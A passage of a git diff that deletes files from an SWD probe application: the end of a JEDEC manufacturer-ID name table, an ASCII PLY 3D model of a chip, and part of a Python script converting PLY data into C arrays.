-[11][0x01 - 1] = "ABIT Electronics (Shenzhen) Co Ltd", -[11][0x02 - 1] = "Semidrive", -[11][0x03 - 1] = "MyTek Electronics Corp", -[11][0x04 - 1] = "Wxilicon Technology Co Ltd", -[11][0x05 - 1] = "Shenzhen Meixin Electronics Ltd", -[11][0x06 - 1] = "Ghost Wolf", -[11][0x07 - 1] = "LiSion Technologies Inc", -[11][0x08 - 1] = "Power Active Co Ltd", -[11][0x09 - 1] = "Pioneer High Fidelity Taiwan Co. Ltd", -[11][0x0a - 1] = "LuoSilk", -[11][0x0b - 1] = "Shenzhen Chuangshifeida Technology", -[11][0x0c - 1] = "Black Sesame Technologies Inc", -[11][0x0d - 1] = "Jiangsu Xinsheng Intelligent Technology", -[11][0x0e - 1] = "MLOONG", -[11][0x0f - 1] = "Quadratica LLC", -[11][0x10 - 1] = "Anpec Electronics", -[11][0x11 - 1] = "Xi'an Morebeck Semiconductor Tech Co", -[11][0x12 - 1] = "Kingbank Technology Co Ltd", -[11][0x13 - 1] = "ITRenew Inc", -[11][0x14 - 1] = "Shenzhen Eaget Innovation Tech Ltd", -[11][0x15 - 1] = "Jazer", -[11][0x16 - 1] = "Xiamen Semiconductor Investment Group", -[11][0x17 - 1] = "Guangzhou Longdao Network Tech Co", -[11][0x18 - 1] = "Shenzhen Futian SEC Electronic Market", -[11][0x19 - 1] = "Allegro Microsystems LLC", -[11][0x1a - 1] = "Hunan RunCore Innovation Technology", -[11][0x1b - 1] = "C-Corsa Technology", -[11][0x1c - 1] = "Zhuhai Chuangfeixin Technology Co Ltd", -[11][0x1d - 1] = "Beijing InnoMem Technologies Co Ltd", -[11][0x1e - 1] = "YooTin", -[11][0x1f - 1] = "Shenzhen Pengxiong Technology Co Ltd", -[11][0x20 - 1] = "Dongguan Yingbang Commercial Trading Co", -[11][0x21 - 1] = "Shenzhen Ronisys Electronics Co Ltd", -[11][0x22 - 1] = "Hongkong Xinlan Guangke Co Ltd", -[11][0x23 - 1] = "Apex Microelectronics Co Ltd", -[11][0x24 - 1] = "Beijing Hongda Jinming Technology Co Ltd", -[11][0x25 - 1] = "Ling Rui Technology (Shenzhen) Co Ltd", -[11][0x26 - 1] = "Hongkong Hyunion Electronics Co Ltd", -[11][0x27 - 1] = "Starsystems Inc", -[11][0x28 - 1] = "Shenzhen Yingjiaxun Industrial Co Ltd", -[11][0x29 - 1] = "Dongguan Crown Code Electronic Commerce", -[11][0x2a - 1] = "Monolithic Power Systems Inc", -[11][0x2b - 1] = "WuHan SenNaiBo E-Commerce Co Ltd", -[11][0x2c - 1] = "Hangzhou Hikstorage Technology Co", -[11][0x2d - 1] = "Shenzhen Goodix Technology Co Ltd", -[11][0x2e - 1] = "Aigo Electronic Technology Co Ltd", -[11][0x2f - 1] = "Hefei Konsemi Storage Technology Co Ltd", -[11][0x30 - 1] = "Cactus Technologies Limited", -[11][0x31 - 1] = "DSIN", -[11][0x32 - 1] = "Blu Wireless Technology", -[11][0x33 - 1] = "Nanjing UCUN Technology Inc", -[11][0x34 - 1] = "Acacia Communications", -[11][0x35 - 1] = "Beijinjinshengyihe Technology Co Ltd", -[11][0x36 - 1] = "Zyzyx", -[11][0x37 - 1] = "T-HEAD Semiconductor Co Ltd", -[11][0x38 - 1] = "Shenzhen Hystou Technology Co Ltd", -[11][0x39 - 1] = "Syzexion", -[11][0x3a - 1] = "Kembona", -[11][0x3b - 1] = "Qingdao Thunderobot Technology Co Ltd", -[11][0x3c - 1] = "Morse Micro", -[11][0x3d - 1] = "Shenzhen Envida Technology Co Ltd", -[11][0x3e - 1] = "UDStore Solution Limited", -[11][0x3f - 1] = "Shunlie", -[11][0x40 - 1] = "Shenzhen Xin Hong Rui Tech Ltd", -[11][0x41 - 1] = "Shenzhen Yze Technology Co Ltd", -[11][0x42 - 1] = "Shenzhen Huang Pu He Xin Technology", -[11][0x43 - 1] = "Xiamen Pengpai Microelectronics Co Ltd", -[11][0x44 - 1] = "JISHUN", -[11][0x45 - 1] = "Shenzhen WODPOSIT Technology Co", -[11][0x46 - 1] = "Unistar", -[11][0x47 - 1] = "UNICORE Electronic (Suzhou) Co Ltd", -[11][0x48 - 1] = "Axonne Inc", -[11][0x49 - 1] = "Shenzhen SOVERECA Technology Co", -[11][0x4a - 1] = "Dire Wolf", -[11][0x4b - 1] = "Whampoa Core Technology Co Ltd", -[11][0x4c - 1] = "CSI Halbleiter GmbH", -[11][0x4d - 1] = "ONE Semiconductor", -[11][0x4e - 1] = "SimpleMachines Inc", -[11][0x4f - 1] = "Shenzhen Chengyi Qingdian Electronic", -[11][0x50 - 1] = "Shenzhen Xinlianxin Network Technology", -[11][0x51 - 1] = "Vayyar Imaging Ltd", -[11][0x52 - 1] = "Paisen Network Technology Co Ltd", -[11][0x53 - 1] = "Shenzhen Fengwensi Technology Co Ltd", -[11][0x54 - 1] = "Caplink Technology Limited", -[11][0x55 - 1] = "JJT Solution Co Ltd", -[11][0x56 - 1] = "HOSIN Global Electronics Co Ltd", -[11][0x57 - 1] = "Shenzhen KingDisk Century Technology", -[11][0x58 - 1] = "SOYO", -[11][0x59 - 1] = "DIT Technology Co Ltd", -[11][0x5a - 1] = "iFound", -[11][0x5b - 1] = "Aril Computer Company", -[11][0x5c - 1] = "ASUS", -[11][0x5d - 1] = "Shenzhen Ruiyingtong Technology Co", -[11][0x5e - 1] = "HANA Micron", -[11][0x5f - 1] = "RANSOR", -[11][0x60 - 1] = "Axiado Corporation", -[11][0x61 - 1] = "Tesla Corporation", -[11][0x62 - 1] = "Pingtouge (Shanghai) Semiconductor Co", -[11][0x63 - 1] = "S3Plus Technologies SA", -[11][0x64 - 1] = "Integrated Silicon Solution Israel Ltd", -[11][0x65 - 1] = "GreenWaves Technologies", -[11][0x66 - 1] = "NUVIA Inc", -[11][0x67 - 1] = "Guangzhou Shuvrwine Technology Co", -[11][0x68 - 1] = "Shenzhen Hangshun Chip Technology", -[11][0x69 - 1] = "Chengboliwei Electronic Business", -[11][0x6a - 1] = "Kowin Technology HK Limited", -[11][0x6b - 1] = "Euronet Technology Inc", -[11][0x6c - 1] = "SCY", -[11][0x6d - 1] = "Shenzhen Xinhongyusheng Electrical", -[11][0x6e - 1] = "PICOCOM", -[11][0x6f - 1] = "Shenzhen Toooogo Memory Technology", -[11][0x70 - 1] = "VLSI Solution", -[11][0x71 - 1] = "Costar Electronics Inc", -[11][0x72 - 1] = "Shenzhen Huatop Technology Co Ltd", -[11][0x73 - 1] = "Inspur Electronic Information Industry", -[11][0x74 - 1] = "Shenzhen Boyuan Computer Technology", -[11][0x75 - 1] = "Beijing Welldisk Electronics Co Ltd", -[11][0x76 - 1] = "Suzhou EP Semicon Co Ltd", -[11][0x77 - 1] = "Zhejiang Dahua Memory Technology", -[11][0x78 - 1] = "Virtu Financial", -[11][0x79 - 1] = "Datotek International Co Ltd", -[11][0x7a - 1] = "Telecom and Microelectronics Industries", -[11][0x7b - 1] = "Echow Technology Ltd", -[11][0x7c - 1] = "APEX-INFO", -[11][0x7d - 1] = "Yingpark", -[11][0x7e - 1] = "Shenzhen Bigway Tech Co Ltd", -[12][0x01 - 1] = "Beijing Haawking Technology Co Ltd", -[12][0x02 - 1] = "Open HW Group", -[12][0x03 - 1] = "JHICC", -[12][0x04 - 1] = "ncoder AG", -[12][0x05 - 1] = "ThinkTech Information Technology Co", -[12][0x06 - 1] = "Shenzhen Chixingzhe Technology Co Ltd", -[12][0x07 - 1] = "Biao Ram Technology Co Ltd", -[12][0x08 - 1] = "Shenzhen Kaizhuoyue Electronics Co Ltd", -[12][0x09 - 1] = "Shenzhen YC Storage Technology Co Ltd", -[12][0x0a - 1] = "Shenzhen Chixingzhe Technology Co", -[12][0x0b - 1] = "Wink Semiconductor (Shenzhen) Co Ltd", -[12][0x0c - 1] = "AISTOR", -[12][0x0d - 1] = "Palma Ceia SemiDesign", -[12][0x0e - 1] = "EM Microelectronic-Marin SA", -[12][0x0f - 1] = "Shenzhen Monarch Memory Technology", -[12][0x10 - 1] = "Reliance Memory Inc", -[12][0x11 - 1] = "Jesis", -[12][0x12 - 1] = "Espressif Systems (Shanghai) Co Ltd", -[12][0x13 - 1] = "Shenzhen Sati Smart Technology Co Ltd", -[12][0x14 - 1] = "NeuMem Co Ltd", -[12][0x15 - 1] = "Lifelong", -[12][0x16 - 1] = "Beijing Oitech Technology Co Ltd", -[12][0x17 - 1] = "Groupe LDLC", -[12][0x18 - 1] = "Semidynamics Technology Services SLU", -[12][0x19 - 1] = "swordbill", -[12][0x1a - 1] = "YIREN", -[12][0x1b - 1] = "Shenzhen Yinxiang Technology Co Ltd", -[12][0x1c - 1] = "PoweV Electronic Technology Co Ltd", -[12][0x1d - 1] = "LEORICE", -[12][0x1e - 1] = "Waymo LLC", -[12][0x1f - 1] = "Ventana Micro Systems", -[12][0x20 - 1] = "Hefei Guangxin Microelectronics Co Ltd", -[12][0x21 - 1] = "Shenzhen Sooner Industrial Co Ltd", -[12][0x22 - 1] = "Horizon Robotics", -[12][0x23 - 1] = "Tangem AG", -[12][0x24 - 1] = "FuturePath Technology (Shenzhen) Co", -[12][0x25 - 1] = "RC Module", -[12][0x26 - 1] = "Timetec International Inc", -[12][0x27 - 1] = "ICMAX Technologies Co Limited", -[12][0x28 - 1] = "Lynxi Technologies Ltd Co", -[12][0x29 - 1] = "Guangzhou Taisupanke Computer Equipment", -[12][0x2a - 1] = "Ceremorphic Inc", -[12][0x2b - 1] = "Biwin Storage Technology Co Ltd", -[12][0x2c - 1] = "Beijing ESWIN Computing Technology", -[12][0x2d - 1] = "WeForce Co Ltd", -[12][0x2e - 1] = "Shenzhen Fanxiang Information Technology", -[12][0x2f - 1] = "Unisoc", -[12][0x30 - 1] = "YingChu", -[12][0x31 - 1] = "GUANCUN", -[12][0x32 - 1] = "IPASON", -[12][0x33 - 1] = "Ayar Labs", -[12][0x34 - 1] = "Amazon", -[12][0x35 - 1] = "Shenzhen Xinxinshun Technology Co", -[12][0x36 - 1] = "Galois Inc", -[12][0x37 - 1] = "Ubilite Inc", -[12][0x38 - 1] = "Shenzhen Quanxing Technology Co Ltd", -[12][0x39 - 1] = "Group RZX Technology LTDA", -[12][0x3a - 1] = "Yottac Technology (XI'AN) Cooperation", -[12][0x3b - 1] = "Shenzhen RuiRen Technology Co Ltd", -[12][0x3c - 1] = "Group Star Technology Co Ltd", -[12][0x3d - 1] = "RWA (Hong Kong) Ltd", -[12][0x3e - 1] = "Genesys Logic Inc", -[12][0x3f - 1] = "T3 Robotics Inc.", -[12][0x40 - 1] = "Biostar Microtech International Corp", -[12][0x41 - 1] = "Shenzhen SXmicro Technology Co Ltd", -[12][0x42 - 1] = "Shanghai Yili Computer Technology Co", -[12][0x43 - 1] = "Zhixin Semicoducotor Co Ltd", -[12][0x44 - 1] = "uFound", -[12][0x45 - 1] = "Aigo Data Security Technology Co. Ltd", -[12][0x46 - 1] = ".GXore Technologies", -[12][0x47 - 1] = "Shenzhen Pradeon Intelligent Technology", -[12][0x48 - 1] = "Power LSI", -[12][0x49 - 1] = "PRIME", -[12][0x4a - 1] = "Shenzhen Juyang Innovative Technology", -[12][0x4b - 1] = "CERVO", -[12][0x4c - 1] = "SiEngine Technology Co., Ltd.", -[12][0x4d - 1] = "Beijing Unigroup Tsingteng MicroSystem", -[12][0x4e - 1] = "Brainsao GmbH", -[12][0x4f - 1] = "Credo Technology Group Ltd", -[12][0x50 - 1] = "Shanghai Biren Technology Co Ltd", -[12][0x51 - 1] = "Nucleu Semiconductor", -[12][0x52 - 1] = "Shenzhen Guangshuo Electronics Co Ltd", -[12][0x53 - 1] = "ZhongsihangTechnology Co Ltd", -[12][0x54 - 1] = "Suzhou Mainshine Electronic Co Ltd.", -[12][0x55 - 1] = "Guangzhou Riss Electronic Technology", -[12][0x56 - 1] = "Shenzhen Cloud Security Storage Co", -[12][0x57 - 1] = "ROG", -[12][0x58 - 1] = "Perceive", -[12][0x59 - 1] = "e-peas", -[12][0x5a - 1] = "Fraunhofer IPMS", -[12][0x5b - 1] = "Shenzhen Daxinlang Electronic Tech Co", -[12][0x5c - 1] = "Abacus Peripherals Private Limited", -[12][0x5d - 1] = "OLOy Technology", -[12][0x5e - 1] = "Wuhan P&S Semiconductor Co Ltd", -[12][0x5f - 1] = "Sitrus Technology", -[12][0x60 - 1] = "AnHui Conner Storage Co Ltd", -[12][0x61 - 1] = "Rochester Electronics", -[12][0x62 - 1] = "Wuxi Petabyte Technologies Co Ltd", -[12][0x63 - 1] = "Star Memory", -[12][0x64 - 1] = "Agile Memory Technology Co Ltd", -[12][0x65 - 1] = "MEJEC", -[12][0x66 - 1] = "Rockchip Electronics Co Ltd", -[12][0x67 - 1] = "Dongguan Guanma e-commerce Co Ltd", -[12][0x68 - 1] = "Rayson Hi-Tech (SZ) Limited", -[12][0x69 - 1] = "MINRES Technologies GmbH", -[12][0x6a - 1] = "Himax Technologies Inc", -[12][0x6b - 1] = "Shenzhen Cwinner Technology Co Ltd", -[12][0x6c - 1] = "Tecmiyo", -[12][0x6d - 1] = "Shenzhen Suhuicun Technology Co Ltd", -[12][0x6e - 1] = "Vickter Electronics Co. Ltd.", -[12][0x6f - 1] = "lowRISC", -[12][0x70 - 1] = "EXEGate FZE", -[12][0x71 - 1] = "Shenzhen 9 Chapter Technologies Co", -[12][0x72 - 1] = "Addlink", -[12][0x73 - 1] = "Starsway", -[12][0x74 - 1] = "Pensando Systems Inc.", -[12][0x75 - 1] = "AirDisk", -[12][0x76 - 1] = "Shenzhen Speedmobile Technology Co", -[12][0x77 - 1] = "PEZY Computing", -[12][0x78 - 1] = "Extreme Engineering Solutions Inc", -[12][0x79 - 1] = "Shangxin Technology Co Ltd", -[12][0x7a - 1] = "Shanghai Zhaoxin Semiconductor Co", -[12][0x7b - 1] = "Xsight Labs Ltd", -[12][0x7c - 1] = "Hangzhou Hikstorage Technology Co", -[12][0x7d - 1] = "Dell Technologies", -[12][0x7e - 1] = "Guangdong StarFive Technology Co", -[13][0x01 - 1] = "TECOTON", -[13][0x02 - 1] = "Abko Co Ltd", -[13][0x03 - 1] = "Shenzhen Feisrike Technology Co Ltd", -[13][0x04 - 1] = "Shenzhen Sunhome Electronics Co Ltd", -[13][0x05 - 1] = "Global Mixed-mode Technology Inc", -[13][0x06 - 1] = "Shenzhen Weien Electronics Co. Ltd.", -[13][0x07 - 1] = "Shenzhen Cooyes Technology Co Ltd", -[13][0x08 - 1] = "Keymos Electronics Co., Limited", -[13][0x09 - 1] = "E-Rockic Technology Company Limited", -[13][0x0a - 1] = "Aerospace Science Memory Shenzhen", -[13][0x0b - 1] = "Shenzhen Quanji Technology Co Ltd", -[13][0x0c - 1] = "Dukosi", -[13][0x0d - 1] = "Maxell Corporation of America", -[13][0x0e - 1] = "Shenshen Xinxintao Electronics Co Ltd", -[13][0x0f - 1] = "Zhuhai Sanxia Semiconductor Co Ltd", -[13][0x10 - 1] = "Groq Inc", -[13][0x11 - 1] = "AstraTek", -[13][0x12 - 1] = "Shenzhen Xinyuze Technology Co Ltd", -[13][0x13 - 1] = "All Bit Semiconductor", -[13][0x14 - 1] = "ACFlow", -[13][0x15 - 1] = "Shenzhen Sipeed Technology Co Ltd", -[13][0x16 - 1] = "Linzhi Hong Kong Co Limited", -[13][0x17 - 1] = "Supreme Wise Limited", -[13][0x18 - 1] = "Blue Cheetah Analog Design Inc", -[13][0x19 - 1] = "Hefei Laiku Technology Co Ltd", -[13][0x1a - 1] = "Zord", -[13][0x1b - 1] = "SBO Hearing A/S", -[13][0x1c - 1] = "Regent Sharp International Limited", -[13][0x1d - 1] = "Permanent Potential Limited", -[13][0x1e - 1] = "Creative World International Limited", -[13][0x1f - 1] = "Base Creation International Limited", -[13][0x20 - 1] = "Shenzhen Zhixin Chuanglian Technology", -[13][0x21 - 1] = "Protected Logic Corporation", -[13][0x22 - 1] = "Sabrent", -[13][0x23 - 1] = "Union Memory", -[13][0x24 - 1] = "NEUCHIPS Corporation", -[13][0x25 - 1] = "Ingenic Semiconductor Co Ltd", -[13][0x26 - 1] = "SiPearl", -[13][0x27 - 1] = "Shenzhen Actseno Information Technology", -[13][0x28 - 1] = "RIVAI Technologies (Shenzhen) Co Ltd", -[13][0x29 - 1] = "Shenzhen Sunny Technology Co Ltd", -[13][0x2a - 1] = "Cott Electronics Ltd", -[13][0x2b - 1] = "Shanghai Synsense Technologies Co Ltd", -[13][0x2c - 1] = "Shenzhen Jintang Fuming Optoelectronics", -[13][0x2d - 1] = "CloudBEAR LLC", -[13][0x2e - 1] = "Emzior, LLC", -[13][0x2f - 1] = "Ehiway Microelectronic Science Tech Co", -[13][0x30 - 1] = "UNIM Innovation Technology (Wu XI)", -[13][0x31 - 1] = "GDRAMARS", -[13][0x32 - 1] = "Meminsights Technology", -[13][0x33 - 1] = "Zhuzhou Hongda Electronics Corp Ltd", -[13][0x34 - 1] = "Luminous Computing Inc", -[13][0x35 - 1] = "PROXMEM", -[13][0x36 - 1] = "Draper Labs", -[13][0x37 - 1] = "ORICO Technologies Co. Ltd.", -[13][0x38 - 1] = "Space Exploration Technologies Corp", -[13][0x39 - 1] = "AONDEVICES Inc", -[13][0x3a - 1] = "Shenzhen Netforward Micro Electronic", -[13][0x3b - 1] = "Syntacore Ltd", -[13][0x3c - 1] = "Shenzhen Secmem Microelectronics Co", -[13][0x3d - 1] = "ONiO As", -[13][0x3e - 1] = "Shenzhen Peladn Technology Co Ltd", -[13][0x3f - 1] = "O-Cubes Shanghai Microelectronics", -[13][0x40 - 1] = "ASTC", -[13][0x41 - 1] = "UMIS", -[13][0x42 - 1] = "Paradromics", -[13][0x43 - 1] = "Sinh Micro Co Ltd", -[13][0x44 - 1] = "Metorage Semiconductor Technology Co", -[13][0x45 - 1] = "Aeva Inc", -[13][0x46 - 1] = "HongKong Hyunion Electronics Co Ltd", -[13][0x47 - 1] = "China Flash Co Ltd", -[13][0x48 - 1] = "Sunplus Technology Co Ltd", -[13][0x49 - 1] = "Idaho Scientific", -[13][0x4a - 1] = "Suzhou SF Micro Electronics Co Ltd", -[13][0x4b - 1] = "IMEX Cap AG", -[13][0x4c - 1] = "Fitipower Integrated Technology Co Ltd", -[13][0x4d - 1] = "ShenzhenWooacme Technology Co Ltd", -[13][0x4e - 1] = "KeepData Original Chips", -[13][0x4f - 1] = "Rivos Inc", -[13][0x50 - 1] = "Big Innovation Company Limited", -[13][0x51 - 1] = "Wuhan YuXin Semiconductor Co Ltd", -[13][0x52 - 1] = "United Memory Technology (Jiangsu)", -[13][0x53 - 1] = "PQShield Ltd", -[13][0x54 - 1] = "ArchiTek Corporation", -[13][0x55 - 1] = "ShenZhen AZW Technology Co Ltd", -[13][0x56 - 1] = "Hengchi Zhixin (Dongguan) Technology", -[13][0x57 - 1] = "Eggtronic Engineering Spa", -[13][0x58 - 1] = "Fusontai Technology", -[13][0x59 - 1] = "PULP Platform", -[13][0x5a - 1] = "Koitek Electronic Technology (Shenzhen) Co", -[13][0x5b - 1] = "Shenzhen Jiteng Network Technology Co", -[13][0x5c - 1] = "Aviva Links Inc", -[13][0x5d - 1] = "Trilinear Technologies Inc", -[13][0x5e - 1] = "Shenzhen Developer Microelectronics Co", -[13][0x5f - 1] = "Guangdong OPPO Mobile Telecommunication", -[13][0x60 - 1] = "Akeana", -[13][0x61 - 1] = "Lyczar", -[13][0x62 - 1] = "Shenzhen Qiji Technology Co Ltd", -[13][0x63 - 1] = "Shenzhen Shangzhaoyuan Technology", -[13][0x64 - 1] = "Han Stor", -[13][0x65 - 1] = "China Micro Semicon Co., Ltd.", -[13][0x66 - 1] = "Shenzhen Zhuqin Technology Co Ltd", -[13][0x67 - 1] = "Shanghai Ningyuan Electronic Technology", -[13][0x68 - 1] = "Auradine", -[13][0x69 - 1] = "Suzhou Yishuo Electronics Co Ltd", -[13][0x6a - 1] = "Faurecia Clarion Electronics", -[13][0x6b - 1] = "SiMa Technologies", -[13][0x6c - 1] = "CFD Sales Inc", -[13][0x6d - 1] = "Suzhou Comay Information Co Ltd", -[13][0x6e - 1] = "Yentek", -[13][0x6f - 1] = "Qorvo Inc", -[13][0x70 - 1] = "Shenzhen Youzhi Computer Technology", -[13][0x71 - 1] = "Sychw Technology (Shenzhen) Co Ltd", -[13][0x72 - 1] = "MK Founder Technology Co Ltd", -[13][0x73 - 1] = "Siliconwaves Technologies Co Ltd", -[13][0x74 - 1] = "Hongkong Hyunion Electronics Co Ltd", -[13][0x75 - 1] = "Shenzhen Xinxinzhitao Electronics Business", -[13][0x76 - 1] = "Shenzhen HenQi Electronic Commerce Co", -[13][0x77 - 1] = "Shenzhen Jingyi Technology Co Ltd", -[13][0x78 - 1] = "Xiaohua Semiconductor Co. Ltd.", -[13][0x79 - 1] = "Shenzhen Dalu Semiconductor Technology", -[13][0x7a - 1] = "Shenzhen Ninespeed Electronics Co Ltd", -[13][0x7b - 1] = "ICYC Semiconductor Co Ltd", -[13][0x7c - 1] = "Shenzhen Jaguar Microsystems Co Ltd", -[13][0x7d - 1] = "Beijing EC-Founder Co Ltd", -[13][0x7e - 1] = "Shenzhen Taike Industrial Automation Co", -[14][0x01 - 1] = "Kalray SA", -[14][0x02 - 1] = "Shanghai Iluvatar CoreX Semiconductor Co", -[14][0x03 - 1] = "Fungible Inc", -[14][0x04 - 1] = "Song Industria E Comercio de Eletronicos", -[14][0x05 - 1] = "DreamBig Semiconductor Inc", -[14][0x06 - 1] = "ChampTek Electronics Corp", -[14][0x07 - 1] = "Fusontai Technology", -[14][0x08 - 1] = "Endress Hauser AG", -[14][0x09 - 1] = "altec ComputerSysteme GmbH", -[14][0x0a - 1] = "UltraRISC Technology (Shanghai) Co Ltd", -[14][0x0b - 1] = "Shenzhen Jing Da Kang Technology Co Ltd", -[14][0x0c - 1] = "Hangzhou Hongjun Microelectronics Co Ltd", -/* EOF */ diff --git a/applications/external/swd_probe/model/chip.ply b/applications/external/swd_probe/model/chip.ply deleted file mode 100644 index 7dc20abfa..000000000 --- a/applications/external/swd_probe/model/chip.ply +++ /dev/null @@ -1,216 +0,0 @@ -ply -format ascii 1.0 -comment Created by Blender 3.3.1 - www.blender.org -element vertex 136 -property float x -property float y -property float z -element face 70 -property list uchar uint vertex_indices -end_header -1.000000 1.000000 0.152153 --1.000000 1.000000 0.152153 --1.000000 -1.000000 0.152153 -1.000000 -1.000000 0.152153 -1.000000 -1.000000 -0.185787 --1.000000 -1.000000 -0.185787 --1.000000 1.000000 -0.185787 -1.000000 1.000000 -0.185787 --1.000043 -0.785071 -0.015780 --1.155724 -0.785071 -0.015780 --1.155724 -0.918718 -0.015780 --1.000043 -0.918718 -0.015780 --1.155724 -0.785071 0.127052 --1.000043 -0.785071 0.127052 --1.000043 -0.918718 0.127052 --1.155724 -0.918718 0.127052 --1.234192 -0.918846 -0.087021 --1.234397 -0.785201 -0.086336 --1.235319 -0.784943 -0.229143 --1.235114 -0.918588 -0.229828 --1.388133 -0.919573 -0.078673 --1.389056 -0.919314 -0.221479 --1.389261 -0.785669 -0.220795 --1.388338 -0.785927 -0.077988 --1.000043 -0.219627 -0.015780 --1.155724 -0.219627 -0.015780 --1.155724 -0.353273 -0.015780 --1.000043 -0.353273 -0.015780 --1.155724 -0.219627 0.127052 --1.000043 -0.219627 0.127052 --1.000043 -0.353273 0.127052 --1.155724 -0.353273 0.127052 --1.234192 -0.353402 -0.087021 --1.234397 -0.219756 -0.086336 --1.235319 -0.219498 -0.229143 --1.235114 -0.353143 -0.229828 --1.388133 -0.354128 -0.078673 --1.389056 -0.353870 -0.221479 --1.389261 -0.220224 -0.220795 --1.388338 -0.220482 -0.077988 --1.000043 0.345818 -0.015780 --1.155724 0.345818 -0.015780 --1.155724 0.212172 -0.015780 --1.000043 0.212172 -0.015780 --1.155724 0.345818 0.127052 --1.000043 0.345818 0.127052 --1.000043 0.212172 0.127052 --1.155724 0.212172 0.127052 --1.234192 0.212043 -0.087021 --1.234397 0.345689 -0.086336 --1.235319 0.345947 -0.229143 --1.235114 0.212301 -0.229828 --1.388133 0.211317 -0.078673 --1.389056 0.211575 -0.221479 --1.389261 0.345221 -0.220795 --1.388338 0.344962 -0.077988 --1.000043 0.911263 -0.015780 --1.155724 0.911263 -0.015780 --1.155724 0.777617 -0.015780 --1.000043 0.777617 -0.015780 --1.155724 0.911263 0.127052 --1.000043 0.911263 0.127052 --1.000043 0.777617 0.127052 --1.155724 0.777617 0.127052 --1.234192 0.777488 -0.087021 --1.234397 0.911133 -0.086336 --1.235319 0.911392 -0.229143 --1.235114 0.777746 -0.229828 --1.388133 0.776762 -0.078673 --1.389056 0.777020 -0.221479 --1.389261 0.910665 -0.220795 --1.388338 0.910407 -0.077988 -1.000043 -0.785071 -0.015780 -1.000043 -0.918718 -0.015780 -1.155723 -0.918718 -0.015780 -1.155723 -0.785071 -0.015780 -1.155723 -0.785071 0.127052 -1.155723 -0.918718 0.127052 -1.000043 -0.918718 0.127052 -1.000043 -0.785071 0.127052 -1.234397 -0.785201 -0.086336 -1.234192 -0.918846 -0.087021 -1.235114 -0.918588 -0.229828 -1.235319 -0.784943 -0.229143 -1.388133 -0.919573 -0.078673 -1.388338 -0.785927 -0.077988 -1.389260 -0.785669 -0.220795 -1.389056 -0.919314 -0.221479 -1.000043 -0.219627 -0.015780 -1.000043 -0.353273 -0.015780 -1.155723 -0.353273 -0.015780 -1.155723 -0.219627 -0.015780 -1.155723 -0.219627 0.127052 -1.155723 -0.353273 0.127052 -1.000043 -0.353273 0.127052 -1.000043 -0.219627 0.127052 -1.234397 -0.219756 -0.086336 -1.234192 -0.353402 -0.087021 -1.235114 -0.353143 -0.229828 -1.235319 -0.219498 -0.229143 -1.388133 -0.354128 -0.078673 -1.388338 -0.220482 -0.077988 -1.389260 -0.220224 -0.220795 -1.389056 -0.353870 -0.221479 -1.000043 0.345818 -0.015780 -1.000043 0.212172 -0.015780 -1.155723 0.212172 -0.015780 -1.155723 0.345818 -0.015780 -1.155723 0.345818 0.127052 -1.155723 0.212172 0.127052 -1.000043 0.212172 0.127052 -1.000043 0.345818 0.127052 -1.234397 0.345689 -0.086336 -1.234192 0.212043 -0.087021 -1.235114 0.212301 -0.229828 -1.235319 0.345947 -0.229143 -1.388133 0.211317 -0.078673 -1.388338 0.344962 -0.077988 -1.389260 0.345221 -0.220795 -1.389056 0.211575 -0.221479 -1.000043 0.911263 -0.015780 -1.000043 0.777616 -0.015780 -1.155723 0.777616 -0.015780 -1.155723 0.911263 -0.015780 -1.155723 0.911263 0.127052 -1.155723 0.777616 0.127052 -1.000043 0.777616 0.127052 -1.000043 0.911263 0.127052 -1.234397 0.911133 -0.086336 -1.234192 0.777488 -0.087021 -1.235114 0.777746 -0.229828 -1.235319 0.911392 -0.229143 -1.388133 0.776762 -0.078673 -1.388338 0.910407 -0.077988 -1.389260 0.910665 -0.220795 -1.389056 0.777020 -0.221479 -4 0 1 2 3 -4 4 3 2 5 -4 5 2 1 6 -4 6 7 4 5 -4 7 0 3 4 -4 6 1 0 7 -4 8 9 10 11 -4 12 13 14 15 -4 13 8 11 14 -4 12 15 16 17 -4 10 9 18 19 -4 20 21 22 23 -4 17 16 20 23 -4 19 18 22 21 -4 24 25 26 27 -4 28 29 30 31 -4 29 24 27 30 -4 28 31 32 33 -4 26 25 34 35 -4 36 37 38 39 -4 33 32 36 39 -4 35 34 38 37 -4 40 41 42 43 -4 44 45 46 47 -4 45 40 43 46 -4 44 47 48 49 -4 42 41 50 51 -4 52 53 54 55 -4 49 48 52 55 -4 51 50 54 53 -4 56 57 58 59 -4 60 61 62 63 -4 61 56 59 62 -4 60 63 64 65 -4 58 57 66 67 -4 68 69 70 71 -4 65 64 68 71 -4 67 66 70 69 -4 72 73 74 75 -4 76 77 78 79 -4 79 78 73 72 -4 76 80 81 77 -4 74 82 83 75 -4 84 85 86 87 -4 80 85 84 81 -4 82 87 86 83 -4 88 89 90 91 -4 92 93 94 95 -4 95 94 89 88 -4 92 96 97 93 -4 90 98 99 91 -4 100 101 102 103 -4 96 101 100 97 -4 98 103 102 99 -4 104 105 106 107 -4 108 109 110 111 -4 111 110 105 104 -4 108 112 113 109 -4 106 114 115 107 -4 116 117 118 119 -4 112 117 116 113 -4 114 119 118 115 -4 120 121 122 123 -4 124 125 126 127 -4 127 126 121 120 -4 124 128 129 125 -4 122 130 131 123 -4 132 133 134 135 -4 128 133 132 129 -4 130 135 134 131 diff --git a/applications/external/swd_probe/model/convert.py b/applications/external/swd_probe/model/convert.py deleted file mode 100644 index 7c99ca215..000000000 --- a/applications/external/swd_probe/model/convert.py +++ /dev/null @@ -1,39 +0,0 @@ -#!/usr/bin/python - -import plyfile -import argparse - -parser = argparse.ArgumentParser(description='Convert a PLY file to C arrays.') -parser.add_argument('input_file', help='the input PLY file') -parser.add_argument('output_file', help='the output C file') -args = parser.parse_args() - -# Open the PLY file -plydata = plyfile.PlyData.read(args.input_file) - -# Extract the vertices -vertices = plydata['vertex'].data -num_vertices = len(vertices) - -with open(args.output_file, 'w') as f: - f.write('#define NUM_VERTICES %d\n' % num_vertices) - f.write('float vertexCoords[NUM_VERTICES][3] = {\n') - for i in range(num_vertices): - x, y, z = vertices[i][0], vertices[i][1], vertices[i][2] - f.write(' {%f, %f, %f},\n' % (x, y, z)) - f.write('};') - - # Extract the faces - faces = plydata['face'].data - num_faces = len(faces) - f.write('int edgeIndices[][3] = {\n') - for i in range(num_faces): - face = faces[i][0] - if len(face) == 3: - f.write(' {%d, %d, %d},\n' % (face[0], face[1], face[2])) - elif len(face) == 4: - # Convert 4-index face to 2-index edges - edges = [(face[0], face[1]), (face[1], face[2]), (face[2], face[3]), (face[3], face[0])] - for edge in edges: - f.write(' {%d, %d},\n' % 